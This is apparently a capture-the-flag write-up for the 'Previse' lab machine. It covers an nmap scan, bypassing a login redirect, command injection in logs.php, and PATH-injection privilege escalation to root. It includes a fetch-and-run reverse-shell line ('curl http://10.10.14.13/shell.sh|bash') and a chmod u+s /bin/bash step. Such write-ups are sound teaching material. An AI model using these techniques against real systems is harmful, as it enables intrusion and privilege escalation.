Previse

Gaining Access

Nmap scan:

$ nmap -p- --min-rate 5000 10.129.95.185
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-06 11:41 EDT
Nmap scan report for 10.129.95.185
Host is up (0.0072s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

File Storage

Port 80 had a login page to some kind of file manager:

This wasn't vulnerable to SQL Injection or anything. I tried visiting index.php, but was redirected back to the login.php. When the traffic is inspectedi nBurp, I noticed that index.php was still loaded.

This means that we can view the pages without logging in since they are loaded before we are redirected. When I used Burp's Match and Replace function to change the 302 Found to 200 OK, I could load the page normally:

Within the Accounts tab, we can add a user.

So I created one and we can remove the Burpsuite filtering. Within the Files tab, there's a backup of the entire site uploaded.

We can download this file and analyse the source code back on my machine. Here's the logs.php.

It seems that there's an exec function used, and the delim parameter is not sanitised when being passed in, thus creating a command injection vulnerability. We can send this request to confirm we have RCE.

Now, we can get a reverse shell by using curl http://10.10.14.13/shell.sh|bash.

Privilege Escalation

M4lwhere Creds

Within the /var/www/html file, there's a config.php file.

We can login to the mysql database using these credentials. Within it, we can find the credentials for the file system.

Using hashcat, we can crack this easily.

We can then su to m4lwhere.

Sudo Privileges

We can then enumerate sudo privileges.

Here's the script:

This script was running gzip without the full path, so we can do some PATH injection. Create a script called gzip that makes /bin/bash an SUID binary via chmod u+s /bin/bash, then make it executable.

Afterwards, change the PATH variable to include /tmp first and run the script as root.

It's easy to get a root shell afterwards.